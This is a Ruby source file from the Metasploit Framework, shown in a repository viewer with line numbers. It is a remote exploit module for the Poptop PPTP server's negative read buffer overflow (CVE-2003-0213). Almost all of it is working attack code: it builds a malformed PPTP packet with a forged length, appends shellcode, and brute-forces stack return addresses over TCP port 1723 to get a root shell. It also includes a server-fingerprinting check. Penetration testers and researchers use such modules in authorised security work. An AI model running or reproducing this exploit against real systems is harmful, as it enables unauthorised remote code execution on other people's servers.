root / modules / exploits / linux / pptp / poptop_negative_read.rb @ master
History | View | Annotate | Download (3.9 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = GreatRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::Tcp |
| 18 |
include Msf::Exploit::Remote::Brute |
| 19 |
|
| 20 |
def initialize(info = {}) |
| 21 |
super(update_info(info,
|
| 22 |
'Name' => 'Poptop Negative Read Overflow', |
| 23 |
'Description' => %q{ |
| 24 |
This is an exploit for the Poptop negative read overflow. This will |
| 25 |
work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I |
| 26 |
currently do not have a good way to detect Poptop versions. |
| 27 |
|
| 28 |
The server will by default only allow 4 concurrent manager processes |
| 29 |
(what we run our code in), so you could have a max of 4 shells at once. |
| 30 |
|
| 31 |
Using the current method of exploitation, our socket will be closed |
| 32 |
before we have the ability to run code, preventing the use of Findsock. |
| 33 |
},
|
| 34 |
'Author' => 'spoonm', |
| 35 |
'License' => MSF_LICENSE, |
| 36 |
'Version' => '$Revision$', |
| 37 |
'References' =>
|
| 38 |
[ |
| 39 |
['CVE', '2003-0213'], |
| 40 |
['OSVDB', '3293'], |
| 41 |
['URL', 'http://securityfocus.com/archive/1/317995'], |
| 42 |
['URL', 'http://www.freewebs.com/blightninjas/'], |
| 43 |
], |
| 44 |
'Privileged' => true, |
| 45 |
'Payload' =>
|
| 46 |
{
|
| 47 |
# Payload space is dynamically determined
|
| 48 |
'MinNops' => 16, |
| 49 |
'StackAdjustment' => -1088, |
| 50 |
'Compat' =>
|
| 51 |
{
|
| 52 |
'ConnectionType' => '-find', |
| 53 |
} |
| 54 |
}, |
| 55 |
'SaveRegisters' => [ 'esp' ], |
| 56 |
'Platform' => 'linux', |
| 57 |
'Arch' => ARCH_X86, |
| 58 |
'Targets' =>
|
| 59 |
[ |
| 60 |
['Linux Bruteforce',
|
| 61 |
{ 'Bruteforce' =>
|
| 62 |
{
|
| 63 |
'Start' => { 'Ret' => 0xbffffa00 }, |
| 64 |
'Stop' => { 'Ret' => 0xbffff000 }, |
| 65 |
'Step' => 0 |
| 66 |
} |
| 67 |
} |
| 68 |
], |
| 69 |
], |
| 70 |
'DefaultTarget' => 0, |
| 71 |
'DisclosureDate' => 'Apr 9 2003')) |
| 72 |
|
| 73 |
register_options( |
| 74 |
[ |
| 75 |
Opt::RPORT(1723) |
| 76 |
], self.class)
|
| 77 |
|
| 78 |
register_advanced_options( |
| 79 |
[ |
| 80 |
OptInt.new("PreReturnLength", [ true, "Space before we hit the return address. Affects PayloadSpace.", 220 ]), |
| 81 |
OptInt.new("RetLength", [ true, "Length of returns after payload.", 32 ]), |
| 82 |
OptInt.new("ExtraSpace", [ true, "The exploit builds two protocol frames, the header frame and the control frame. " + |
| 83 |
"ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). " +
|
| 84 |
"If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data " +
|
| 85 |
"(these should eventually be filled in to look like a real client, ie windows). I've had successful exploitation with this set to 154, but nothing over 128 is suggested.", 0 ]), |
| 86 |
OptString.new("Hostname", [ false, "PPTP Packet hostname", '' ]), |
| 87 |
OptString.new("Vendor", [ true, "PPTP Packet vendor", 'Microsoft Windows NT' ]), |
| 88 |
], self.class)
|
| 89 |
end
|
| 90 |
|
| 91 |
# Dynamic payload space calculation
|
| 92 |
def payload_space(explicit_target = nil) |
| 93 |
datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i |
| 94 |
end
|
| 95 |
|
| 96 |
def build_packet(length) |
| 97 |
[length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') + |
| 98 |
[1,0].pack('cc') + |
| 99 |
[0].pack('n') + |
| 100 |
[1,1,0,2600].pack('NNnn') + |
| 101 |
datastore['Hostname'].ljust(64, "\x00") + |
| 102 |
datastore['Vendor'].ljust(64, "\x00") |
| 103 |
end
|
| 104 |
|
| 105 |
def check |
| 106 |
connect |
| 107 |
sock.put(build_packet(156))
|
| 108 |
res = sock.get_once |
| 109 |
|
| 110 |
if res and res =~ /MoretonBay/ |
| 111 |
return CheckCode::Detected |
| 112 |
end
|
| 113 |
|
| 114 |
return CheckCode::Safe |
| 115 |
end
|
| 116 |
|
| 117 |
def brute_exploit(addrs) |
| 118 |
connect |
| 119 |
|
| 120 |
print_status("Trying #{"%.8x" % addrs['Ret']}...")
|
| 121 |
|
| 122 |
# Construct the evil length packet
|
| 123 |
packet = |
| 124 |
build_packet(1) +
|
| 125 |
payload.encoded + |
| 126 |
([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4)) |
| 127 |
|
| 128 |
sock.put(packet) |
| 129 |
|
| 130 |
handler |
| 131 |
disconnect |
| 132 |
end
|
| 133 |
|
| 134 |
end
|